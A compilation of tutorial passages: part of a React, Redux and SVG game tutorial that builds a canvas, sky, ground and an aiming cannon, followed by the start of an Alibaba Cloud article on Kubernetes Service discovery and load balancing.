With these packages in place, you can configure your app to use Redux. The process is simple, you will need to create a container component, a presentational component, and a reducer. The difference between container components and presentational components is that the first simply
connects presentational components to Redux. The third element that you will create, a reducer, is the core component in a Redux store. This kind of component is responsible for getting actions triggered by events that occur in your application and applying functions to change state based on these actions.
If you are not familiar with these concepts, you can read this article to get a better explanation about presentational and container components and you can go through this practical Redux tutorial to learn about actions, reducers, and the store. Although learning about these concepts is highly recommended, you can still follow this series without reading about them.
You will be better off starting by creating the reducer, as this element does not depend on the others (actually, it's the other way around). To keep things organized, you can create a new directory called
reducers, inside the
src directory, and add to it a file called
index.js. This file can contain the following source code:
const initialState = { message: `It's easy to integrate React and Redux, isn't it?`, }; function reducer(state = initialState) { return state; } export default reducer;
For now, your reducer will simply initialize the app's state with a
message saying that it's easy to integrate React and Redux. Soon, you will start defining actions and handling them in this file.
Next, you can refactor the
App component to show this message to users. As you installed
prop-types, it's a good time to start using it as well. To achieve this, open the
./src/App.js file and replace its contents with the following:
import React, {Component} from 'react'; import PropTypes from 'prop-types'; class App extends Component { render() { return ( <div className="App"> <h1>{this.props.message}</h1> </div> ); } } App.propTypes = { message: PropTypes.string.isRequired, }; export default App;
As you can see, defining what types your component is expecting is very easy with
prop-types. You just have to define the
propTypes property of the
App component with the
props that it needs. There are a few cheat sheets around the web (like this one, this one, and this one) that summarize how to create basic and advanced
prop-types definitions. If needed, refer to them.
Even though you have defined what the
App component needs to render and what is the initial state of your Redux store, you still need a way to tie these elements together. That's exactly what container components do. To define a container in an organized fashion, you will want to create a directory called
containers inside the
src directory. Then, you can create a container called
Game inside a file called
Game.js in this new directory. This container will use the
connect utility from
react-redux to pass the
state.message to the
message props of the
App component:
import { connect } from 'react-redux'; import App from '../App'; const mapStateToProps = state => ({ message: state.message, }); const Game = connect( mapStateToProps, )(App); export default Game;
You are almost done now. The last step to integrate everything together is to refactor the
./src/index.js file to initialize the Redux store and to pass it to the
Game container (which will then fetch the
message and pass to
App). The following code shows how your
./src/index.js file will look like after the refactoring:
import React from 'react'; import ReactDOM from 'react-dom'; import { Provider } from 'react-redux'; import { createStore } from 'redux'; import './index.css'; import Game from './containers/Game'; import reducer from './reducers'; import registerServiceWorker from './registerServiceWorker'; /* eslint-disable no-underscore-dangle */ const store = createStore( reducer, /* preloadedState, */ window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__(), ); /* eslint-enable */ ReactDOM.render( <Provider store={store}> <Game /> </Provider>, document.getElementById('root'), ); registerServiceWorker();
You are done! To see everything working, you can head to the project root and run
npm start. This will run your app in development mode and open it in your default browser.
"It's easy to integrate React and Redux."
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Creating SVG Components with React
As you will see in this series, creating SVG components with React is quite easy. In reality, there is almost no difference between creating a React component with HTML and with SVG. Basically, the only differences are that SVG introduces new elements and that these elements are drawn in an SVG canvas.
Nevertheless, before creating your components with SVG and React, a quick overview of SVG may be useful.
Quick Overview of SVG
SVG is one of the coolest and flexible web standards. SVG, which stands for Scalable Vector Graphics, is a markup language that allows developers to describe two-dimensional based vector graphics. SVG is pretty similar to HTML. Both technologies are XML-based markup languages and work well with other web standards like CSS and the DOM. This means that you can apply CSS rules to SVG elements just like you would do with HTML elements, including animations.
Throughout this series, you will create more than a dozen SVG components with React. You will even compose (group) SVG elements to form your game elements (like the cannon that shoots cannon balls).
A thorough explanation about SVG is out of scope and would make this series too lengthy. So, if you are looking forward to learning the details of the SVG markup language, you can take a look at the SVG Tutorial provided by Mozilla and at this article about the SVG coordinate system.
However, prior to start creating your components, there a few SVG characteristics that are important to understand. First, SVG and DOM enable developers to accomplish great things when combined. This makes using SVG with React very easy.
Second, the SVG coordinate system is similar to the Cartesian plane but upside-down. This means that negative vertical values are, by default, shown above the X-axis. The horizontal values, on the other hand, are just like the Cartesian plane (i.e. negative values are shown to the left of the Y-axis). This behavior could be easily changed by applying a transformation to the SVG canvas. However, in order not to confuse other developers, it's better to stick with the default. You will soon get used to it.
The third and last characteristic that you need to know is that SVG introduces a lot of new elements (e.g.
circle,
rect, and
path). To use these elements, you cannot simply define them inside an HTML element. First, you must define an
svg element (your canvas) where you will draw all your SVG components.
SVG, Path Elements, and Cubic Bezier Curves
Drawing elements with SVG can be accomplished in three ways. First, you can use basic elements like
rect,
circle, and
line. These elements are not very flexible, though. As their names state, they simply allow you to draw some simple shapes.
The second way is to combine these basic elements to form more complex shapes. For example, you could use a
rect with equals sides (this would be a square) and two lines to form the shape of a house. However, this approach is still limited.
The third and more flexible way is to use
path elements. This kind of element allows developers to create fairly complex shapes. It does that by accepting a set of commands that instruct the browser how to draw a shape. For example, to draw an "L", you could create a
path element that contains three commands:
M 20 20: this command instructs the browser to move its "pen" to the X and Y coordinates defined after
M(i.e.
20, 20);
V 80: this command instructs the browser to draw a line from the previous point to the position
80in the Y-axis;
H 50: this command instructs the browser to draw a line from the previous point to the position
50in the X-axis;
<svg> <path d="M 20 20 V 80 H 50" stroke="black" stroke- </svg>
The
path element accepts many other commands. Among of them, one of the most important is the Cubic Bezier Curves command. This command allows you to add some smooth curves in your path by taking two reference points and two control points.
From the Mozilla tutorial, this is how Cubic Bezier Curves work on SVG:
"Cubic Bezier curves take in two control points for each point. Therefore, to create a cubic Bezier curve, you need to specify three sets of coordinates. The last set of coordinates are where you want the line to end. The other two are control points. [...]. The control points essentially describe the slope of your line starting at each point. The Bezier function then creates a smooth curve that transfers you from the slope you established at the beginning of your line, to the slope at the other end." —Mozilla Developer Network
For example, to draw an "U", you can proceed as follows:
<svg> <path d="M 20 20 C 20 110, 110 110, 110 20" stroke="black" fill="transparent"/> </svg>
In this case, the commands passed to the
path element tell the browser:
- to start drawing on the point
20, 20;
- that the first control point lies on the point
20, 110;
- that the second control point lies on the point
110, 110;
- to finish the curve on the point
110 20;
If you still don't understand exactly how Cubic Bezier curves work, don't worry. You will have the opportunity to practice during this series. Besides that, you can find a lot of tutorials on the web about this feature and you can always practice in tools like JSFiddle and Codepen.
Creating the Canvas React Component
Now that you have your project structured and that you know the basic stuff about SVG, it's time to start creating your game. The first element that you will need to create is the SVG canvas that you will use to draw the elements of the game.
This component will behave as a presentational component. As such, you can create a directory called
components, inside the
./src directory, to hold this new component and its siblings. Since this will be your canvas, nothing more natural than calling it
Canvas. Therefore, create a new file called
Canvas.jsx inside the
./src/components/ directory and add the following code:
import React from 'react'; const Canvas = () => { const style = { border: '1px solid black', }; return ( <svg id="aliens-go-home-canvas" preserveAspectRatio="xMaxYMax none" style={style} > <circle cx={0} cy={0} r={50} /> </svg> ); }; export default Canvas;
With this file in place, you will want to refactor the
App component to use your
Canvas:
import React, {Component} from 'react'; import Canvas from './components/Canvas'; class App extends Component { render() { return ( <Canvas /> ); } } export default App;
If your run (
npm start) and check your application, you will see that the browser draws just a quarter of this circle. This happens because, by default, the origin axis is rendered in the top left corner of the window. Besides that, you will also see that the
svg element does not fit the entire screen.
To make things more interesting and easier to manage, you can make your canvas fit the entire screen. You will also want to reposition its origin to be on the center the X-axis and to be near the bottom (you will add your cannon to the origin in a little while). To do both, you will need to change two files:
./src/components/Canvas.jsx and
./src/index.css.
You can start by replacing the contents of the
Canvas component with the following code:
import React from 'react'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( <svg id="aliens-go-home-canvas" preserveAspectRatio="xMaxYMax none" viewBox={viewBox} > <circle cx={0} cy={0} r={50} /> </svg> ); }; export default Canvas;
In this new version, you have defined the
viewBox attribute of the
svg element. What this attribute does is to define that your canvas and its contents must fit a particular container (in this case the inner area of the window/browser). As you can see,
viewBox attributes are made of four numbers:
min-x: This value defines what is the leftmost point that your users will see. So, to make the origin axis (and the circle) appear in the center of the screen, you divided your screen width by negative two (
window.innerWidth / -2) to the get this attribute (
min-x). Note that you need to use
-2to make your canvas show the same amount of points to the left (negative) and to the right (positive) of the origin.
min-y: This value defines what will be the uppermost point of your canvas. Here, you have subtracted the
window.innerHeightfrom
100to give some area (
100points) after the Y origin.
widthand
height: These are the values that define how many X and Y points your users will see on their screen.
Besides defining the
viewBox attribute, you have also defined an attribute called
preserveAspectRatio in this new version. You have used
xMaxYMax none on it to force uniform scaling of your canvas and its elements.
After refactoring your canvas, you will need to add the following rule to the
./src/index.css file:
/* ... body definition ... */ html, body { overflow: hidden; height: 100%; }
This will make both the
html and
body elements hide (and disable) scrolling. It will also make these elements fit the entire screen.
If you check your app now, you will see your circle horizontally centered in the screen and near the bottom.
Creating the Sky React Component
After making your canvas fit the entire screen and repositioning the origin axis to the center of it, it's time to start creating real game elements. You can start by defining the element that will act as the background of your game, the sky. For that, create a new file called
Sky.jsx in the
./src/components/ directory with the following code:
import React from 'react'; const Sky = () => { const skyStyle = { fill: '#30abef', }; const skyWidth = 5000; const gameHeight = 1200; return ( <rect style={skyStyle} x={skyWidth / -2} y={100 - gameHeight} width={skyWidth} height={gameHeight} /> ); }; export default Sky;
You might be wondering why you are setting your game with such a huge area (width of
5000 and height of
1200). Actually, the width is not important in this game. You just have to set it to a number that is high enough to cover any screen size.
Now, the height is important. Soon, you will force your canvas to show this
1200 points, no matter what is the resolution and orientation of your users. This will give your game consistency and you will know that all users will see the same area in your game. As such, you will be able to define where the flying discs will appear and how long they will take to go through these points.
To make the canvas element show your new sky, open the
Canvas.jsx file in your editor and refactor it like that:
import React from 'react'; import Sky from './Sky'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( <svg id="aliens-go-home-canvas" preserveAspectRatio="xMaxYMax none" viewBox={viewBox} > <Sky /> <circle cx={0} cy={0} r={50} /> </svg> ); }; export default Canvas;
If you check your app now (
npm start), you will see that your circle is still centered and near the bottom and that now you have a blue (
fill: '#30abef') background color.
Note: If you add the
Skyelement after the
circleelement, you won't be able to see the latter anymore. This happens because SVG does not support
z-index. SVG relies on the order that the elements are listed to decide which one is above the other. That is, you have to define the
circleelement after the
Skyso web browsers know that they must show it above the blue background.
Creating the Ground React Component
After creating the
Sky element, the next one that you can create is the
Ground element. To do that, create a new file called
Ground.jsx in the
./src/components/ directory and add the following code:
import React from 'react'; const Ground = () => { const groundStyle = { fill: '#59a941', }; const division = { stroke: '#458232', strokeWidth: '3px', }; const groundWidth = 5000; return ( <g id="ground"> <rect id="ground-2" data-name="ground" style={groundStyle} x={groundWidth / -2} y={0} width={groundWidth} height={100} /> <line x1={groundWidth / -2} y1={0} x2={groundWidth / 2} y2={0} style={division} /> </g> ); }; export default Ground;
There is nothing fancy about this element. It's just a composition of a
rect element and a
line. However, as you may have noted, this element also uses a constant with the value of
5000 to define its width. Therefore, it might be a good idea to create a file to keep some global constants like this one.
As such, create a new directory called
utils inside the
./src/ directory and, inside this new directory, create a file called
constants.js. For now, you can add a single constant to it:
// very wide to provide as full screen feeling export const skyAndGroundWidth = 5000;
After that, you can refactor both the
Sky element and the
Ground element to use this new constant.
To wrap this section, don't forget to add the
Ground element to your canvas (keep in mind that you need to add it between the
Sky and the
circle elements). If you have any doubt about how to do these last steps, please take a look at this commit.
Creating the Cannon React Component
You already have the sky and the ground elements defined in your game. Next, you will want to add something more interesting. Perhaps, you can add the elements that will represent your cannon. These elements will be a little bit more complex than the other two elements defined before. They will have many more lines of source code, but this is due to the fact that you will need Cubic Bezier curves to draw them.
As you might remember, defining a Cubic Bezier curve on SVG depends on four points: the starting point, the ending point, and two control points. These points, which are defined in the
d property of a
path element, look like this:
M 20 20 C 20 110, 110 110, 110 20.
To avoid repeating similar template literals in your code to create these curves, you can create a new file called
formulas.js in the
./src/utils/ directory and add a function that returns this string based on some parameters:
export const pathFromBezierCurve = (cubicBezierCurve) => { const { initialAxis, initialControlPoint, endingControlPoint, endingAxis, } = cubicBezierCurve; return ` M${initialAxis.x} ${initialAxis.y} c ${initialControlPoint.x} ${initialControlPoint.y} ${endingControlPoint.x} ${endingControlPoint.y} ${endingAxis.x} ${endingAxis.y} `; };
This code is quite simple, it just extracts four attributes (
initialAxis,
initialControlPoint,
endingControlPoint,
endingAxis) from a parameter called
cubicBezierCurve and passes them to a template literal that builds the Cubic Bezier curve representation.
With this file in place, you can start creating your cannon. To keep things more organized, you can divide your cannon into two parts: the
CannonBase and the
CannonPipe.
To define the
CannonBase, create a new file called
CannonBase.jsx inside
./src/components and add the following code to it:
import React from 'react'; import { pathFromBezierCurve } from '../utils/formulas'; const CannonBase = (props) => { const cannonBaseStyle = { fill: '#a16012', stroke: '#75450e', strokeWidth: '2px', }; const baseWith = 80; const halfBase = 40; const height = 60; const negativeHeight = height * -1; const cubicBezierCurve = { initialAxis: { x: -halfBase, y: height, }, initialControlPoint: { x: 20, y: negativeHeight, }, endingControlPoint: { x: 60, y: negativeHeight, }, endingAxis: { x: baseWith, y: 0, }, }; return ( <g> <path style={cannonBaseStyle} d={pathFromBezierCurve(cubicBezierCurve)} /> <line x1={-halfBase} y1={height} x2={halfBase} y2={height} style={cannonBaseStyle} /> </g> ); }; export default CannonBase;
Besides the Cubic Bezier curve, there is nothing new about this element. In the end, the browser will render this element as a curve with a dark brown (
#75450e) stroke and will add a light brown (
#a16012) color to its background.
The code to create the
CannonPipe will be similar to the
CannonBase code. The differences are that it will use other colors and it will pass other points to the
pathFromBezierCurve formula to draw the pipe. Besides that, this element will make use of the transform attribute to simulate the cannon rotation.
To create this element, add the following code to a new file called
CannonPipe.jsx inside the
./src/components/ directory:
import React from 'react'; import PropTypes from 'prop-types'; import { pathFromBezierCurve } from '../utils/formulas'; const CannonPipe = (props) => { const cannonPipeStyle = { fill: '#999', stroke: '#666', strokeWidth: '2px', }; const transform = `rotate(${props.rotation}, 0, 0)`; const muzzleWidth = 40; const halfMuzzle = 20; const height = 100; const yBasis = 70; const cubicBezierCurve = { initialAxis: { x: -halfMuzzle, y: -yBasis, }, initialControlPoint: { x: -40, y: height * 1.7, }, endingControlPoint: { x: 80, y: height * 1.7, }, endingAxis: { x: muzzleWidth, y: 0, }, }; return ( <g transform={transform}> <path style={cannonPipeStyle} d={pathFromBezierCurve(cubicBezierCurve)} /> <line x1={-halfMuzzle} y1={-yBasis} x2={halfMuzzle} y2={-yBasis} style={cannonPipeStyle} /> </g> ); }; CannonPipe.propTypes = { rotation: PropTypes.number.isRequired, }; export default CannonPipe;
After that, remove the
circle element from your canvas and add both the
CannonBase and the
CannonPipe to it. The following code is what you will have after refactoring your canvas:
import React from 'react'; import Sky from './Sky'; import Ground from './Ground'; import CannonBase from './CannonBase'; import CannonPipe from './CannonPipe'; const Canvas = () => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( <svg id="aliens-go-home-canvas" preserveAspectRatio="xMaxYMax none" viewBox={viewBox} > <Sky /> <Ground /> <CannonPipe rotation={45} /> <CannonBase /> </svg> ); }; export default Canvas;
Running and checking your application now will bring an app that shows the following vector graphics:
Making the Cannon Aim
Your game is gaining ground. You have created the background elements (
Sky and
Ground) and your cannon. The problem now is that everything is inanimate. So, to make things interesting, you can focus on making your cannon aim. To do that, you could add the
onmousemove event listener to your canvas and make it refresh on every event triggered (i.e. every time a user moves the mouse), but this would degrade the performance of your game.
To overcome this situation, what you can do is to set an uniform interval that checks the last mouse position to update the angle of your
CannonPipe element. You are still going to use the
onmousemove event listener in this strategy, the difference is that these events won't trigger a re-render. They will only update a property in your game and then the interval will use this property to trigger a re-render (by updating the Redux store).
This is the first time that you will need a Redux action to update the state of your app (or the angle of your cannon). As such, you need to create a new directory called
actions inside the
./src/ directory. In this new directory, you will need to create a file called
index.js with the following code:
export const MOVE_OBJECTS = 'MOVE_OBJECTS'; export const moveObjects = mousePosition => ({ type: MOVE_OBJECTS, mousePosition, });
Note: You are going to call this action
MOVE_OBJECTSbecause you won't use it to update the cannon only. In the next parts of this series, you will also use this same action to move cannon balls and flying objects.
After defining this Redux action, you will have to refactor your reducer (the
index.js file inside
./src/reducers/) to deal with it:
import { MOVE_OBJECTS } from '../actions'; import moveObjects from './moveObjects'; const initialState = { angle: 45, }; function reducer(state = initialState, action) { switch (action.type) { case MOVE_OBJECTS: return moveObjects(state, action); default: return state; } } export default reducer;
The new version of this file takes an action and, if its
type is
MOVE_OBJECTS, it calls a function called
moveObjects. You still have to define this function but, before that, note that this new version also defines the initial state of your app to include a property called
angle with the value
45. This is the angle that your cannon will be aiming when your app starts.
As you will see, the
moveObjects function is also a Redux reducer. You will define this function in a new file because your game will have a good number of reducers and you want to keep things maintainable and organized. Therefore, create the
moveObjects.js file inside the
./src/reducers/ and add the following code to it:
import { calculateAngle } from '../utils/formulas'; function moveObjects(state, action) { if (!action.mousePosition) return state; const { x, y } = action.mousePosition; const angle = calculateAngle(0, 0, x, y); return { ...state, angle, }; } export default moveObjects;
This code is quite simple, it just extracts the
x and
y properties from
mousePosition and passes them to the
calculateAngle function to get the new
angle. Then, in the end, it generates a new state with the new angle.
Now, you probably noticed that you haven't defined a
calculateAngle function in your
formulas.js file, right? The math behind calculating an angle based on two points is out of scope here, but if you are interested, you can check this thread on StackExchange to understand how the magic happens. In the end, what you will need is to append the following functions to the
formulas.js file (
./src/utils/formulas):
export const radiansToDegrees = radians => ((radians * 180) / Math.PI); // export const calculateAngle = (x1, y1, x2, y2) => { if (x2 >= 0 && y2 >= 0) { return 90; } else if (x2 < 0 && y2 >= 0) { return -90; } const dividend = x2 - x1; const divisor = y2 - y1; const quotient = dividend / divisor; return radiansToDegrees(Math.atan(quotient)) * -1; };
Note: The
atanfunction, provided by the
MathJavaScript object, returns results in radians. You will need this value converted to degrees. That's why you have to define (and use) the
radiansToDegreesfunction.
After defining both your new Redux action and your new Redux reducer, you will have to use them. As your game relies on Redux to manage its state, you need to map the
moveObjects action to the
props of your
App. You will do this by refactoring the
Game container. So, open the
Game.js file (
./src/containers) and replace its content with the following:
import { connect } from 'react-redux'; import App from '../App'; import { moveObjects } from '../actions/index'; const mapStateToProps = state => ({ angle: state.angle, }); const mapDispatchToProps = dispatch => ({ moveObjects: (mousePosition) => { dispatch(moveObjects(mousePosition)); }, }); const Game = connect( mapStateToProps, mapDispatchToProps, )(App); export default Game;
With these new mappings in place, you can focus on using them in the
App component. So, open the
App.js file (located at
./src/) and replace its contents with this:
import React, {Component} from 'react'; import PropTypes from 'prop-types'; import { getCanvasPosition } from './utils/formulas'; import Canvas from './components/Canvas'; class App extends Component { componentDidMount() { const self = this; setInterval(() => { self.props.moveObjects(self.canvasMousePosition); }, 10); } trackMouse(event) { this.canvasMousePosition = getCanvasPosition(event); } render() { return ( <Canvas angle={this.props.angle} trackMouse={event => (this.trackMouse(event))} /> ); } } App.propTypes = { angle: PropTypes.number.isRequired, moveObjects: PropTypes.func.isRequired, }; export default App;
You will notice that this new version introduces a lot of changes. The following list summarizes them:
componentDidMount: You have defined this lifecycle method to start the uniform interval that will trigger the
moveObjectsaction.
trackMouse: You have defined this method to update the
canvasMousePositionproperty of the
Appcomponent. This property is used by the
moveObjectsaction. Note that this property does not refer to the mouse position over the HTML document. It refers to a relative position inside your canvas. You will define the
canvasMousePositionfunction in a moment.
render: This method now passes the
angleproperty and the
trackMousemethod to your
Canvascomponent. This component will use
angleto update the way it renders your cannon and the
trackMouseto attach as an event listener to the
svgelement. You will update this component in a while.
App.propTypes: You now have two properties defined here,
angleand
moveObjects. The first one,
angle, refers to the angle that your cannon is aiming to. The second one,
moveObjects, is the function that is going to be triggered on a uniform interval to update your cannon.
Now that you have updated your
App component, you have to add the following function to the
formulas.js file:
export const getCanvasPosition = (event) => { // mouse position on auto-scaling canvas // const svg = document.getElementById('aliens-go-home-canvas'); const point = svg.createSVGPoint(); point.x = event.clientX; point.y = event.clientY; const { x, y } = point.matrixTransform(svg.getScreenCTM().inverse()); return {x, y}; };
If you are interested in why this is needed, this StackOverflow thread is a good reference.
The last piece of software that you need to update to make your cannon aim is the
Canvas component. Open the
Canvas.jsx file (located at
./src/components) and replace its contents with this:
import React from 'react'; import PropTypes from 'prop-types'; import Sky from './Sky'; import Ground from './Ground'; import CannonBase from './CannonBase'; import CannonPipe from './CannonPipe'; const Canvas = (props) => { const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight]; return ( <svg id="aliens-go-home-canvas" preserveAspectRatio="xMaxYMax none" onMouseMove={props.trackMouse} viewBox={viewBox} > <Sky /> <Ground /> <CannonPipe rotation={props.angle} /> <CannonBase /> </svg> ); }; Canvas.propTypes = { angle: PropTypes.number.isRequired, trackMouse: PropTypes.func.isRequired, }; export default Canvas;
The differences between the previous version and the new one are:
CannonPipe.rotation: This property is not hard-coded anymore. Now, it's tied to the state provided by the Redux store (through your
Appmappings).
svg.onMouseMove: You have added this event listener to your canvas to make your
Appcomponent aware of the mouse position.
Canvas.propTypes: You have explicitly defined that this component needs
angleand
trackMouseto be happy.
That's it! You are ready to see your cannon aiming feature in action. Go to your terminal, in the project root, and type
npm start (if it's not running already). Then, open in a web browser and move the mouse around. You cannon will keep rotating to follow your mouse.
How fun is that!?
"I have created an animated cannon with React, Redux, and SVG! How fun is that!?"
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Conclusion and Next Steps
In the first part of this series, you have learned about some important topics that will enable you to create the complete game. You have also used
create-react-app to bootstrap your project and you have created some game elements like the cannon, the sky, and the ground. In the end, you have added the aiming feature to your cannon. With these elements in place, you are ready to create the rest of the React components and to make them animated.
In the next article of this series, you are going to create these components, then you are going to make some flying discs appear randomly in some predefined positions. After that, you will also make your cannon shoot some cannon balls. This will be awesome!
Stay tuned!
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Getting Started with Kubernetes | Service Discovery and Load Balancing in Kubernetes
By Wang Bingshen (Xiheng), Technical Expert at Alibaba
1. Source of Requirements
Purpose of Service Discovery
Applications in a Kubernetes cluster are deployed by using pods, which is different from the conventional approach of deploying applications on specific machines. We know how to call the IP addresses of other machines, but the pod lifecycle is short. The IP address of a pod changes during its lifecycle, for example, when the pod is created or destroyed. This makes it impossible to deploy applications in a Kubernetes cluster by using the conventional approach because application access through a specified IP address is impossible.
To deploy applications in a Kubernetes cluster, you need to create a group of pods in addition to Deployments, provide a central endpoint for the pods, and implement traffic load balancing among the pods. You need to keep the same deployment template and access mode for the test environment, staging environment, and production environment when deploying applications. In this way, you can use the same template to directly publish applications to different environments.
Kubernetes Services: Service Discovery and Load Balancing
Applications need to be exposed so that external users can call them. Pods are located in a different network segment from machines. To expose the pod network for external access, you need to configure service discovery.
In Kubernetes, service discovery and load balancing are provided as services. The preceding figure shows the architecture of a Kubernetes Service, which provides access to the external network and pod network in the uplink direction.
The Kubernetes Service interworks with a group of pods in the downlink direction to implement load balancing among the pods. This provides a central endpoint for service discovery and enables access to the external network and access among different pods through the same address.
2. Case Study
The following is an actual use case to show how to declare and use Services for pods in Kubernetes.
Service Syntax
To start, let’s look at the syntax of a Kubernetes Service. The preceding figure shows a declaration structure of Kubernetes. This structure contains many syntaxes, which are similar to some standard Kubernetes objects described earlier. For example, you can make selections by using the labels and selector fields and make declarations by using the labels field.
The template defines a protocol and a port for the Kubernetes Service used for service discovery. The template declares a Kubernetes Service named
my-service, which has the
app:my-service label. The Service selects the pod with the
app:MyApp label as its backend.
TCP and port
80 are defined for service discovery. The target port is
9376. Access requests to port
80 are routed to port
9376 of the pod with the
app:MyApp label at the backend. This implements load balancing.
Create and View a Service
This section explains how to create the Service declared earlier and view the created Service. Run the following command:
kubectl apply -f service.yaml
Or
kubectl created -f service.yaml
The preceding commands are used to create a Service. After a Service is created, run the following command:
kubectl describe service
This lets you view the created Service.
The created Service is named
my-service. The
Namespace,
Labels, and
Selector fields are the same as the fields in the earlier declaration. An IP address is created for the Service and can be accessed by pods in the cluster. The IP address is the central endpoint for all pods and is used by service discovery.
The
Endpoints field indicates the pods specified by the
selector field. You can view the pod status. For example, you can view the IP addresses and target ports of the selected pods.
The preceding figure shows the architecture. A virtual IP address and a port are created along with the Service in the cluster. All pods and nodes in the cluster can access the Service through this IP address and port. The Service mounts the selected pods and their IP addresses to the backend. In this way, access requests through the Service’s IP address are distributed to these pods for load balancing.
When a pod’s lifecycle changes, for example, when the pod is destroyed, the Service automatically removes the pod from the backend. This ensures that the endpoint remains unchanged despite the changes in the pod lifecycle.
Service Access Within a Cluster
After a Service is created in a cluster, the pods in the cluster can access the Service in one of the following ways:
- The pods can access the Service through its virtual IP address. For the Service named
my-servicecreated earlier, you can run the
kubectl get svcor
kubectl describe servicecommand to view the virtual IP address
172.29.3.27and port
80of the Service, which can be directly used by pods to access the Service.
- The pods in the same namespace as the Service can access the Service through its name after the name is resolved by DNS. The pods in a different namespace from the Service can access the Service in the format of
service_name.service_namespace. For example, the Service can be accessed through curl in the format
my-service:80.
- The pods in the same namespace as the Service can access the Service through the environment variables that are used to transfer the Service’s IP address, port, and simple configuration to the pods at startup. After the containers of the pods are started, they read the environment variables to retrieve the IP address and port of the Service in the same namespace. For example, a pod in a cluster can use curl
$to get the value of an environment variable.
MY_SERVICE_SERVICE_HOSTindicates the Service's IP address,
MY_SERVICEis the declared service name, and
SERVICE_PORTis the Service's port. In this way, the pod can send requests to the Service indicated by
MY_SERVICEin the cluster.
Headless Services
Headless services are a special type of service. When creating a Service, you can specify
clusterIP:None to tell Kubernetes that you do not need the cluster IP address, that is, the virtual IP address mentioned earlier. Then, Kubernetes does not allocate a virtual IP address to this Service. Even without the virtual IP address, the Service can implement load balancing and provide a central endpoint as follows:
Pods can directly resolve the Service name through the A record of DNS to the IP addresses of all pods at the backend. The client can select any of the resolved backend IP addresses. The A record changes with the changes in the pod lifecycle, as does the returned A record list. The client needs to select an appropriate IP address from the list of the DNS-returned A record to access pods.
Compared with the earlier-declared template, the template in the preceding figure adds
clusterIP:None, indicating that the virtual IP address is not required. When a pod in the cluster accesses
my-service, it directly resolves the service name to the IP addresses of all pods that match the Service. Then, the pod selects an IP address from the returned list to directly access the Service.
Expose a Service Outside the Cluster
The preceding section showed how to access a Service from nodes or pods in a cluster. This section shows how to expose a Service outside the cluster and expose applications for access from the Internet. You can use
NodePort and
LoadBalancer to expose Services externally.
- In
NodePortmode, the port of a node in a cluster is exposed on the node host. When receiving an access request, the exposed port forwards the request to the virtual IP address of the Service configured on the host.
- In
LoadBalancermode, an additional forwarding layer is added.
NodePortis implemented on the port of every node in the cluster, whereas
LoadBalancermounts a load balancer to all nodes. For example, you can mount an Alibaba Cloud Server Load Balancer (SLB) instance to provide a central endpoint and evenly distribute incoming traffic to the pods of all nodes in the cluster. Then, the pods forward the traffic to the target pods based on the cluster IP address.
3. Practice
The following example demonstrates how to use a Kubernetes Service in Alibaba Cloud Container Service.
Create a Service
Prerequisites: You have created an Alibaba Cloud container cluster and configured a connection from the local terminal to the Alibaba Cloud container cluster.
Run the
kubectl get cs command to check that the Alibaba Cloud container cluster is connected.
You can use the following templates to implement a Kubernetes Service in Alibaba Cloud. There are three templates. The client template is used to access a Kubernetes Service that evenly distributes traffic to the pods declared by the Service.
Create a Kubernetes Service template to declare pods so that traffic is evenly distributed from port
80 at the frontend to port
80 at the backend. Then, set the
selector field to
select backend pods with the
run:nginx label.
Then, create a group of pods with the
run:nginx label by using Kubernetes Deployments. A Deployment has two replicas, matching two pods.
Run the
kubectl create -f service.yaml command to create a Deployment. After a Deployment is created, check whether pods are also created. As shown in the following figure, the two pods created along with the Deployment are in the
Running state. Run the
kubectl get pod -o wide command to view the IP addresses of the pods. Use
-l to implement filtering based on
run=nginx. As shown in the following figure, the two pods have the IP addresses
10.0.0.135 and
10.0.0.12, and both have the label
run=nginx.
Run the following command to create a Kubernetes Service that selects the two pods:
Run the
kubectl describe svc command to view the status of the Service. As shown in the following figure, the created Kubernetes Service named
nginx uses the selector
run=nginx to select the pods
10.0.0.12 and
10.0.0.135 as backend pods. A virtual IP address in the cluster is created for the Kubernetes Service to evenly distribute traffic to the two pods at the backend.
Run the
client.yaml command to create a client pod to access the Kubernetes Service. Run the
kubectl get pod command to check that the client pod was created and in the
Running state.
Run the
kubectl exec command to access the client pod and experience the three access modes. Use curl to directly access the cluster IP address (or virtual IP address) of the Kubernetes Service. The client pod does not have curl installed. Run the
wget command and enter the virtual IP address. You can access the Kubernetes Service named
nginx at the backend through the virtual IP address, which is also the central endpoint.
You can also access the Kubernetes Service through the service name. Run the
wget command to access the Kubernetes Service
nginx and you will get the same result as earlier.
If the client pod is in a different namespace from the Kubernetes Service, you can add the name of the namespace where the Service is located to access the Service. Here, we use the namespace named
default as an example.
You can also access the Kubernetes Service through environment variables. Run the
env command on the client pod to view the injected environment variables. All configurations of the
nginx Service are registered.
Run the
wget command to access the environment variables. Then, you can access the Kubernetes Service.
The following explains how to access the Kubernetes Service from an external network. Modify some configurations of the Kubernetes Service in
Vim.
Add the
type field and set it to
LoadBalancer to enable external access.
Run the
kubectl apply command to apply the modifications to the Service.
Now, let’s see what changes occur in the Service. Run the
kubectl get svc -o wide command and you will find that the Service
nginx adds
EXTERNAL-IP, which is the IP address for external access. As mentioned earlier, the Service is accessed within the cluster through the virtual IP address defined by
CLUSTER-IP.
Access the external IP address
39.98.21.187 to see how applications are exposed through the Service. Enter the external IP address in the web browser of the terminal to access the Service.
The following shows how to use the Service to implement service discovery in Kubernetes. The Service access address is unrelated to the pod lifecycle. Let’s first look at the IP addresses of the two pods selected for the Service.
Run the
kubectl delete command to delete the first pod.
Then, the Deployment automatically creates another pod with an IP address that ends with
137.
Run the describe command to view the Service information, as shown in the following figure. The endpoint is still the cluster IP address. In
LoadBalancer mode, the IP address for external access remains unchanged. The IP address of a backend pod is automatically included in the backend IP address list of the Service. This does not affect client access.
In this way, the changes in the pod lifecycle have no impact on calls to application components.
4. Architecture Design
This chapter analyzes the design and implementation of Kubernetes.
Kubernetes Service Discovery Architecture
The preceding figure shows the architecture of a Kubernetes Service for service discovery.
The architecture contains a master node and multiple worker nodes.
